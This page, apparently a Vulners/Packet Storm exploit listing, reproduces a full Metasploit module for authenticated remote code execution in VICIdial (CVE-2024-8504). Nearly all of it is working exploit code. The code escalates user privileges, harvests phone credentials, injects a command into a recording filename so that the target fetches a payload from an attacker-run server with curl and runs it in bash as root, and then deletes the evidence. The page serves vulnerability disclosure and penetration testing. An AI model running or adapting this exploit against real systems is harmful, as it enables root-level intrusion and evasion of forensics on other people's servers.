Lucene search
K

VICIdial Authenticated Remote Code Execution

🗓️ 01 Oct 2024 00:00:00Reported by Valentin Lobstein, Jaggar Henry, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 403 Views

VICIdial Authenticated Remote Code Execution description. An attacker with authenticated access to VICIdial as an "agent" can execute arbitrary shell commands as the "root" user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
prepend Msf::Exploit::Remote::AutoCheck  
  
Rank = ExcellentRanking  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VICIdial Authenticated Remote Code Execution',  
'Description' => %q{  
An attacker with authenticated access to VICIdial as an "agent"  
can execute arbitrary shell commands as the "root" user. This  
attack can be chained with CVE-2024-8503 to execute arbitrary  
shell commands starting from an unauthenticated perspective.  
},  
'Author' => [  
'Valentin Lobstein', # Metasploit Module  
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2024-8504'],  
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']  
],  
'DisclosureDate' => '2024-09-10',  
'Platform' => %w[unix linux],  
'Arch' => %w[ARCH_CMD],  
'Targets' => [  
[  
'Unix/Linux Command Shell', {  
'Platform' => %w[unix linux],  
'Arch' => ARCH_CMD,  
'Privileged' => true  
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 300,  
'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
OptString.new('USERNAME', [true, 'Administrator username']),  
OptString.new('PASSWORD', [true, 'Administrator password']),  
])  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),  
'method' => 'GET'  
})  
  
return CheckCode::Unknown unless res&.code == 200  
  
html_doc = res.get_html_document  
  
version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||  
res.body.split("\n").find { |line| line.include?('VERSION:') }  
  
return CheckCode::Unknown unless version_info  
  
extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')  
  
return CheckCode::Unknown if extracted_version.empty?  
  
print_status("VICIdial version: #{extracted_version}")  
  
vulnerable_version = Rex::Version.new('2.14-917a')  
current_version = Rex::Version.new(extracted_version)  
  
return current_version <= vulnerable_version ? CheckCode::Vulnerable : CheckCode::Safe  
end  
  
def exploit  
# Start the HTTP server to handle incoming requests from the payload  
start_service  
print_status('Server started.')  
  
# Add the resource to serve the payload and prepare the listener  
primer  
  
# Authenticate as an administrator using provided credentials  
target_uri, request_headers = authenticate_admin  
  
# Elevate user privileges by updating user settings  
update_user_settings(target_uri, request_headers)  
  
# Update the system settings for further exploitation  
update_system_settings(target_uri, request_headers)  
  
# Create a dummy campaign to act as a decoy during the attack  
fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)  
  
# Modify the settings of the newly created dummy campaign  
update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)  
  
# Create a dummy list associated with the dummy campaign  
create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)  
  
# Retrieve phone credentials (extension and password) to authenticate as an agent  
phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)  
  
# Authenticate to the agent portal using the retrieved phone credentials and campaign ID  
session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)  
  
# Insert a malicious recording that contains the payload, using the agent session  
insert_malicious_recording(request_headers, session_name, session_id, recording_extension)  
  
# Clean up by deleting the campaign created earlier  
delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)  
  
# Start the cron job to execute the malicious payload  
wait_for_cron_job  
end  
  
def primer  
add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })  
print_status('Payload is ready at /')  
end  
  
def on_request_uri_payload(cli, request)  
bash_command = <<-BASH  
#!/bin/bash  
rm -- $(readlink /proc/$$/fd/255)  
cd /var/spool/asterisk/monitor/  
#{payload.encoded}  
find . -maxdepth 1 -type f -delete  
BASH  
  
handle_request(cli, request, bash_command)  
end  
  
def handle_request(cli, request, response_payload)  
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")  
  
case request.uri  
when '/'  
print_status("Sending response to #{cli.peerhost} for /")  
send_response(cli, response_payload)  
else  
print_error("Request for unknown resource: #{request.uri}")  
send_not_found(cli)  
end  
end  
  
def delete_dummy_campaign(target_uri, request_headers, campaign_id)  
print_status("Deleting dummy campaign with ID: #{campaign_id}")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),  
'method' => 'GET',  
'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },  
'headers' => request_headers  
})  
  
res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")  
end  
  
def authenticate_admin  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
  
credentials = "#{username}:#{password}"  
credentials_base64 = Rex::Text.encode_base64(credentials)  
auth_header = "Basic #{credentials_base64}"  
  
target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')  
request_params = { 'ADD' => '3', 'user' => username }  
request_headers = { 'Authorization' => auth_header }  
  
res = send_request_cgi(  
'uri' => target_uri,  
'method' => 'GET',  
'vars_get' => request_params,  
'headers' => request_headers,  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200  
  
print_good("Authenticated successfully as user '#{username}'")  
[target_uri, request_headers]  
end  
  
def update_user_settings(target_uri, request_headers)  
faker = Faker::Internet  
  
user_settings_body = {  
'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',  
'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,  
'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,  
'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',  
'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',  
'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',  
'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',  
'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',  
'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',  
'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',  
'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',  
'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',  
'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',  
'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',  
'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',  
'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',  
'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',  
'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',  
'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',  
'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',  
'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',  
'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',  
'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',  
'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',  
'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',  
'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',  
'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',  
'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',  
'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',  
'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',  
'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',  
'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',  
'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',  
'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',  
'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',  
'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',  
'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',  
'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',  
'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',  
'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',  
'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',  
'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',  
'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',  
'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'  
}  
  
send_request_cgi(  
'uri' => target_uri,  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => user_settings_body,  
'keep_cookies' => true  
)  
  
print_good('Updated user settings to increase privileges')  
end  
  
def update_system_settings(target_uri, request_headers)  
res = send_request_cgi(  
'uri' => target_uri,  
'method' => 'GET',  
'headers' => request_headers,  
'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },  
'keep_cookies' => true  
)  
fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res  
  
system_settings_body = {}  
res.get_html_document.css('input').each do |input_tag|  
system_settings_body[input_tag['name']] = input_tag['value']  
end  
  
res.get_html_document.css('select').each do |select_tag|  
selected_tag = select_tag.at_css('option[selected]')  
next unless selected_tag  
  
system_settings_body[select_tag['name']] = selected_tag.text  
end  
  
system_settings_body['outbound_autodial_active'] = '0'  
  
send_request_cgi(  
'uri' => target_uri,  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => system_settings_body,  
'keep_cookies' => true  
)  
  
print_good('Updated system settings')  
end  
  
def create_dummy_campaign(target_uri, request_headers)  
fake_company_name = Faker::Company.name  
fake_campaign_id = Faker::Number.number(digits: 6).to_i  
fake_list_id = fake_campaign_id + 1  
fake_list_name = "#{fake_company_name} List"  
  
campaign_settings_body = {  
'ADD' => '21',  
'campaign_id' => fake_campaign_id,  
'campaign_name' => fake_company_name,  
'user_group' => '---ALL---',  
'active' => 'Y',  
'allow_closers' => 'Y',  
'hopper_level' => '1',  
'next_agent_call' => 'random',  
'local_call_time' => '12am-12am',  
'get_call_launch' => 'NONE',  
'SUBMIT' => 'SUBMIT'  
}  
  
send_request_cgi(  
'uri' => target_uri,  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => campaign_settings_body,  
'keep_cookies' => true  
)  
  
print_good("Created dummy campaign '#{fake_company_name}'")  
[fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]  
end  
  
def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)  
update_campaign_body = {  
'ADD' => '41',  
'campaign_id' => fake_campaign_id,  
'old_campaign_allow_inbound' => 'Y',  
'campaign_name' => fake_company_name,  
'active' => 'Y',  
'lead_order' => 'DOWN',  
'lead_filter_id' => 'NONE',  
'no_hopper_leads_logins' => 'Y',  
'hopper_level' => '1',  
'reset_hopper' => 'N',  
'dial_method' => 'RATIO',  
'auto_dial_level' => '1',  
'SUBMIT' => 'SUBMIT',  
'form_end' => 'END'  
}  
  
send_request_cgi(  
'uri' => target_uri,  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => update_campaign_body,  
'keep_cookies' => true  
)  
  
print_good('Updated dummy campaign settings')  
end  
  
def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)  
list_settings_body = {  
'ADD' => '211',  
'list_id' => fake_list_id,  
'list_name' => fake_list_name,  
'campaign_id' => fake_campaign_id,  
'active' => 'Y',  
'SUBMIT' => 'SUBMIT'  
}  
  
send_request_cgi(  
'uri' => target_uri,  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => list_settings_body,  
'keep_cookies' => true  
)  
  
print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")  
end  
  
def fetch_phone_credentials(target_uri, request_headers)  
res = send_request_cgi(  
'uri' => target_uri,  
'method' => 'GET',  
'headers' => request_headers,  
'vars_get' => { 'ADD' => '10000000000' },  
'keep_cookies' => true  
)  
fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res  
  
phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')  
fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path  
  
res = send_request_cgi(  
'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),  
'method' => 'GET',  
'headers' => request_headers,  
'keep_cookies' => true  
)  
fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res  
  
phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')  
phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')  
recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')  
  
if [phone_extension, phone_password, recording_extension].all?  
print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")  
else  
fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')  
end  
  
[phone_extension, phone_password, recording_extension]  
end  
  
def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)  
vdc_db_query_body = {  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD'],  
'ACTION' => 'LogiNCamPaigns',  
'format' => 'html'  
}  
  
res = send_request_cgi(  
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),  
'method' => 'POST',  
'vars_post' => vdc_db_query_body,  
'keep_cookies' => true  
)  
fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res  
  
doc = res.get_html_document  
mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')  
mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')  
  
if mgr_login_name && mgr_pass_name  
print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")  
else  
begin  
today_date = Time.now.strftime('%Y%m%d')  
mgr_login_name = "MGR_login#{today_date}"  
mgr_pass_name = "MGR_pass#{today_date}"  
print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")  
end  
end  
  
manager_login_body = {  
'DB' => '0',  
'JS_browser_height' => '1313',  
'JS_browser_width' => '2560',  
'phone_login' => phone_extension,  
'phone_pass' => phone_password,  
'VD_login' => datastore['USERNAME'],  
'VD_pass' => datastore['PASSWORD'],  
'MGR_override' => '1',  
'relogin' => 'YES',  
mgr_login_name => datastore['USERNAME'],  
mgr_pass_name => datastore['PASSWORD'],  
'SUBMIT' => 'SUBMIT'  
}  
  
send_request_cgi(  
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => manager_login_body,  
'keep_cookies' => true  
)  
  
print_good('Entered "manager" credentials to override shift enforcement')  
  
agent_login_body = {  
'DB' => '0',  
'JS_browser_height' => '1313',  
'JS_browser_width' => '2560',  
'phone_login' => phone_extension,  
'phone_pass' => phone_password,  
'VD_login' => datastore['USERNAME'],  
'VD_pass' => datastore['PASSWORD'],  
'VD_campaign' => fake_campaign_id  
}  
  
res = send_request_cgi(  
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => agent_login_body  
)  
  
print_good('Authenticated as agent using phone credentials')  
  
session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)  
session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)  
  
if session_name_match && session_id_match  
session_name = session_name_match[1]  
session_id = session_id_match[1]  
print_good("Session Name: #{session_name}, Session ID: #{session_id}")  
else  
fail_with(Failure::NotFound, 'Failed to retrieve session information')  
end  
  
[session_name, session_id]  
end  
  
def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)  
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')  
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"  
malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"  
print_status("Generated malicious command: #{malicious_filename}")  
  
record1_body = {  
'server_ip' => datastore['RHOSTS'],  
'session_name' => session_name,  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD'],  
'ACTION' => 'MonitorConf',  
'format' => 'text',  
'channel' => "Local/#{recording_extension}@default",  
'filename' => malicious_filename,  
'exten' => recording_extension,  
'ext_context' => 'default',  
'ext_priority' => '1',  
'FROMvdc' => 'YES',  
'FROMapi' => ''  
}  
  
res = send_request_cgi(  
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => record1_body,  
'keep_cookies' => true  
)  
  
recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)  
if recording_id_match  
recording_id = recording_id_match[1]  
print_status(res.body)  
else  
fail_with(Failure::Unknown, 'Failed to get recording ID')  
end  
  
record2_body = {  
'server_ip' => datastore['RHOSTS'],  
'session_name' => session_name,  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD'],  
'ACTION' => 'StopMonitorConf',  
'format' => 'text',  
'channel' => "Local/#{recording_extension}@default",  
'filename' => "ID:#{recording_id}",  
'exten' => session_id,  
'ext_context' => 'default',  
'ext_priority' => '1',  
'FROMvdc' => 'YES',  
'FROMapi' => ''  
}  
  
send_request_cgi(  
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),  
'method' => 'POST',  
'headers' => request_headers,  
'vars_post' => record2_body,  
'keep_cookies' => true  
)  
  
print_good('Stopped malicious recording to prevent file size from growing')  
end  
  
def wait_for_cron_job  
print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")  
service.wait  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation